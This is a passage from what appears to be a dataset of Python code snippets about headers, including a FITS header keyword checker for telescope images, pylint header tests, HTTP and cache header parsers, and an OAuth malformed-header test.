self.assertEqual(prepare_mac_header(**self.mac_plain), self.auth_plain)\\n self.assertEqual(prepare_mac_header(**self.mac_body), self.auth_body)\\n self.assertEqual(prepare_mac_header(**self.mac_both), self.auth_both)\",\n \"def verify_header (filename, htypes=None):\\n\\n # dictionary\\n dict_head = {\\n # raw header\\n # commenting out SIMPLE, BSCALE and BZERO - basic keywords\\n # that will be present in images but not in binary fits tables\\n #'SIMPLE': {'htype':'raw', 'dtype':bool, 'DB':False, 'None_OK':True},\\n #'BSCALE': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\\n #'BZERO': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'BITPIX': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'NAXIS': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'NAXIS1': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'NAXIS2': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'BUNIT': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n #'CCD-AMP': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'SET-TEMP': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'CCD-TEMP': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'XBINNING': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'YBINNING': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n #'CCD-SET': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'ALTITUDE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'AZIMUTH': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'DOMEAZ': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'RADESYS': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'EPOCH': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'RA': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\\n 'RA-REF': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n #'RA-TEL': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'DEC': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\\n 'DEC-REF': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n #'DEC-TEL': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'HA': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\\n 'FLIPSTAT': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'EXPTIME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\\n 'ISTRACKI': {'htype':'raw', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'ACQSTART': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'ACQEND': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'GPSSTART': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'GPSEND': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'GPS-SHUT': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'DATE-OBS': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'MJD-OBS': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\\n 'LST': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'UTC': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\\n 'TIMESYS': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'ORIGIN': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'MPC-CODE': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'TELESCOP': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'CL-BASE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RH-MAST': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RH-DOME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RH-AIRCO': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RH-PIER': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PRESSURE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-PIER': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-DOME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-ROOF': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-AIRCO': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-MAST': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-STRUT': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-CRING': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-SPIDER': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-FWN': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-FWS': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-M2HOLD': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-GUICAM': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-M1': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-CRYWIN': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-CRYGET': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-CRYCP': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PRES-CRY': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'WINDAVE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'WINDGUST': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'WINDDIR': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'SITELAT': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'SITELONG': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'ELEVATIO': {'htype':'raw', 'dtype':int, 'DB':True, 'None_OK':True},\\n #'WEATIME': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'FILTER': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n #'FILTERID': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'CCD-ID': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'CONTROLL': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'DETSPEED': {'htype':'raw', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'CCD-NW': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'CCD-NH': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'INSTRUME': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'FOCUSPOS': {'htype':'raw', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'IMAGETYP': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'OBJECT': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'AIRMASS': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\\n 'ORIGFILE': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'OBSERVER': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'ABOTVER': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'PROGNAME': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'PROGID': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'GUIDERST': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'GUIDERFQ': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'TRAKTIME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'ADCX': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'ADCY': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\\n #\\n # full header\\n 'BB-V': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'BB-START': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'KW-V': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'LOG': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'LOG-IMA': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'N-INFNAN': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'XTALK-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'XTALK-F': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'NONLIN-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'NONLIN-F': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'GAIN-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'GAIN': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'GAIN1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'GAIN16': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'OS-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'BIASMEAN': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'BIASM1': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'BIASM16': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RDNOISE': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RDN1': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RDN16': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'BIAS1A0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'BIAS1A1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'VFITOK1': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'BIAS16A0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'BIAS16A1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'VFITOK16': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'MBIAS-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'MBIAS-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'MB-NDAYS': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'SATURATE': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'NOBJ-SAT': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'MFLAT-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'MFLAT-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'MF-NDAYS': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'MFRING-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'MFRING-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'FRRATIO': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'COSMIC-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'NCOSMICS': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'SAT-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'NSATS': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'REDFILE': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'MASKFILE': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'S-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'S-V': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'S-NOBJ': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'S-FWHM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'S-FWSTD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'S-SEEING': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'S-SEESTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'S-ELONG': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'S-ELOSTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'S-BKG': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'S-BKGSTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'S-VIGNET': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'BKG-CORR': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'BKG-CHI2': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'BKG-CF1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'BKG-CF16': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'BKG-FDEG': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'BKG-FC0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'A-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'A-V': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'A-INDEX': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'A-PSCALE': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'A-PSCALX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'A-PSCALY': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'A-ROT': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'A-ROTX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'A-ROTY': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'A-CAT-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'A-NAST': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'A-TNAST': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'A-NAMAX': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'A-DRA': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'A-DRASTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'A-DDEC': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'A-DDESTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PSF-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'PSF-V': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'PSF-RAD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-RADP': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-SIZE': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'PSF-FRAC': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-SAMP': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-CFGS': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'PSF-NOBJ': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'PSF-FIX': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'PSF-PLDG': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PSF-CHI2': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PSF-FWHM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-SEE': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PSF-PMIN': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-PMAX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-PMED': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-PSTD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-BMIN': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-BMAX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-BMED': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-BSTD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-EMNM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-EMXM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-EMDM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-ESTM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FMNM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FMXM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FMDM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FSTM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-EMNG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-EMXG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-EMDG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-ESTG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FMNG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FMXG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FMDG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PSF-FSTG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PC-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'PC-CAT-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\\n 'PC-NCAL': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'PC-TNCAL': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PC-FNCAL': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PC-NCMAX': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PC-NCMIN': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PC-ZPFDG': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PC-ZPF0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PC-TNSUB': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PC-NSUB': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'PC-MZPD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PC-MZPS': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PC-ZPDEF': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'PC-ZP': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PC-ZPSTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PC-EXTCO': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'AIRMASSC': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'RA-CNTR': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'DEC-CNTR': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'PC-AIRM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'NSIGMA': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'LIMEFLUX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'LIMMAG': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'NOBJECTS': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'RADECOFF': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'FORMAT-P': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'DUMCAT': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'QC-FLAG': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\\n 'DATEFILE': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\\n #\\n # transient header\\n 'SWARP-P': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'SWARP-V': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'Z-REF': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'Z-DXYLOC': {'htype':'trans', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'Z-DX': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-DY': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-DXSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-DYSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-FNRLOC': {'htype':'trans', 'dtype':bool, 'DB':False, 'None_OK':True},\\n 'Z-FNR': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-FNRSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-P': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'Z-V': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'Z-SIZE': {'htype':'trans', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'Z-BSIZE': {'htype':'trans', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'Z-SCMED': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-SCSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'Z-FPEMED': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'Z-FPESTD': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'T-NSIGMA': {'htype':'trans', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'T-LFLUX': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'T-NTRANS': {'htype':'trans', 'dtype':int, 'DB':True, 'None_OK':True},\\n 'T-FTRANS': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-LMAG': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\\n 'T-NFAKE': {'htype':'trans', 'dtype':int, 'DB':False, 'None_OK':True},\\n 'T-FAKESN': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\\n 'MC-P': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'MC-V': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'MC-MODEL': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\\n 'TDUMCAT': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\\n 'TQC-FLAG': {'htype':'trans', 'dtype':str, 'DB':True, 'None_OK':False},\\n }\\n\\n # read header of filename\\n if isfile (filename):\\n header = read_hdulist (filename, get_data=False, get_header=True)\\n else:\\n # return success=False if it does not exist\\n log.warning ('file {} does not exist; not able to verify its header'\\n .format(filename))\\n return False\\n\\n\\n # force [htypes] to be a list\\n htypes_list = list(htypes)\\n\\n # loop keys in dict_head\\n for key in dict_head.keys():\\n\\n # only check keywords with htype matching the input [htypes]\\n if dict_head[key]['htype'] not in htypes_list:\\n continue\\n\\n # check that key is present in header\\n if key in header:\\n\\n # provide warning if dtype not as expected and header\\n # keyword value is not 'None'\\n if (dict_head[key]['dtype'] != type(header[key]) and\\n header[key] != 'None'):\\n log.warning ('dtype of keyword {}: {} does not match the '\\n 'expected dtype: {} in header of {}'\\n .format(key, type(header[key]),\\n dict_head[key]['dtype'], filename))\\n\\n # if key goes to DataBase and value is 'None' or None\\n # while 'None_OK' is False, raise an exception\\n if (dict_head[key]['DB'] and not dict_head[key]['None_OK'] and\\n (header[key] is None or header[key] == 'None')):\\n msg = ('DataBase keyword {} not allowed to have \\\\'None\\\\' or '\\n 'None value in header of {}'.format(key, filename))\\n log.error (msg)\\n raise ValueError (msg)\\n\\n\\n else:\\n msg = 'keyword {} not present in header of {}'.format(key, filename)\\n # if keyword will be ingested into the database, raise an exception\\n if dict_head[key]['DB']:\\n log.error (msg)\\n raise KeyError (msg)\\n\\n else:\\n log.warning (msg)\\n\\n\\n return\",\n \"def test_invalid_header_message_added(self):\\n\\n node_mock = MagicMock()\\n node_mock.stream.return_value.__enter__.return_value.read.return_value.decode.return_value = '# Invalid\\\\n# Header'\\n with self.assertAddsMessages(pylint.testutils.Message(\\n msg_id='invalid-file-header',\\n line=1,\\n args=self.EXPECTED_HEADER)):\\n self.checker.process_module(node_mock)\",\n \"def parse_header(self, out):\\n self.headers = {}\\n for h in out.split(\\\"\\\\r\\\\n\\\\r\\\\n\\\", 1)[0].split(\\\"\\\\r\\\\n\\\"):\\n x = h.split(\\\":\\\")\\n self.headers[x[0]] = \\\":\\\".join(x[1:]).lstrip()\\n return True\",\n \"def _ValidateCacheEntryHeader(self, cache_entry_header):\\n return (cache_entry_header.request_size > 0 and\\n cache_entry_header.request_size < self._MAXIMUM_URL_LENGTH and\\n cache_entry_header.major_format_version == 1 and\\n cache_entry_header.last_fetched_time > 0 and\\n cache_entry_header.fetch_count > 0)\",\n \"def test_header_parser_vanilla(self):\\n lines = [\\\"Content-Type: application/json\\\", \\\"Accept: application/json\\\"]\\n h = {\\\"Content-Type\\\": \\\"application/json\\\", \\\"Accept\\\": \\\"application/json\\\"}\\n headers = parser._parse_headers(lines)\\n self.assertEqual(h, headers)\",\n \"def has_supported_header_hormat(cls, csv_reader):\\n return csv_reader.fieldnames == cls.INGFormatHeader\",\n \"def _ValidateCacheFileMetadataHeader(self, cache_file_metadata_header):\\n return (cache_file_metadata_header.key_size > 0 and\\n cache_file_metadata_header.key_size < self._MAXIMUM_URL_LENGTH and\\n cache_file_metadata_header.format_version in (1, 2, 3) and\\n cache_file_metadata_header.last_fetched_time > 0 and\\n cache_file_metadata_header.fetch_count > 0)\",\n \"def test_valid_header_not_at_top_message_added(self):\\n\\n node_mock = MagicMock()\\n node_mock.stream.return_value.__enter__.return_value.read.return_value.decode.return_value = 'print(\\\\'hello\\\\')\\\\n# Valid\\\\n# Header'\\n with self.assertAddsMessages(pylint.testutils.Message(\\n msg_id='invalid-file-header',\\n line=1,\\n args=self.EXPECTED_HEADER)):\\n self.checker.process_module(node_mock)\",\n \"def check_packet(self, header, string):\\n\\n string = string[0:11] + string[75:]\\n gen_chksum = hashlib.sha256(string.encode()).hexdigest()\\n try:\\n if header[\\\"checksum\\\"] == gen_chksum:\\n return True\\n else:\\n return False\\n except KeyError:\\n return False\",\n \"def test_header(self):\\n frame_with_header = self.context.frame.import_csv(\\n self.dataset, schema=self.schema, header=True)\\n frame_without_header = self.context.frame.import_csv(self.dataset,\\n schema=self.schema, header=False)\\n\\n # the frame with the header should have one less row\\n # because it should have skipped the first line\\n self.assertEqual(len(frame_with_header.take(frame_with_header.count()).data),\\n len(frame_without_header.take(frame_without_header.count()).data) - 1)\\n # comparing the content of the frame with header and without\\n # they should have the same rows with the only differnce being the\\n # frame with the header should not have the first row\\n for index in xrange(0, frame_with_header.count()):\\n self.assertEqual(str(frame_with_header.take(frame_with_header.count()).data[index]),\\n str(frame_without_header.take(frame_without_header.count()).data[index + 1]))\",\n \"def test_raw_empty(self):\\n self.assertRaisesHeaderError([''])\",\n \"def test_authorization_header_empty(self, get_key_secret):\\r\\n request = Request(self.environ)\\r\\n request.authorization = \\\"bad authorization header\\\"\\r\\n request.body = self.get_request_body()\\r\\n response = self.xmodule.grade_handler(request, '')\\r\\n real_response = self.get_response_values(response)\\r\\n expected_response = {\\r\\n 'action': None,\\r\\n 'code_major': 'failure',\\r\\n 'description': 'OAuth verification error: Malformed authorization header',\\r\\n 'messageIdentifier': self.DEFAULTS['messageIdentifier'],\\r\\n }\\r\\n self.assertEqual(response.status_code, 200)\\r\\n 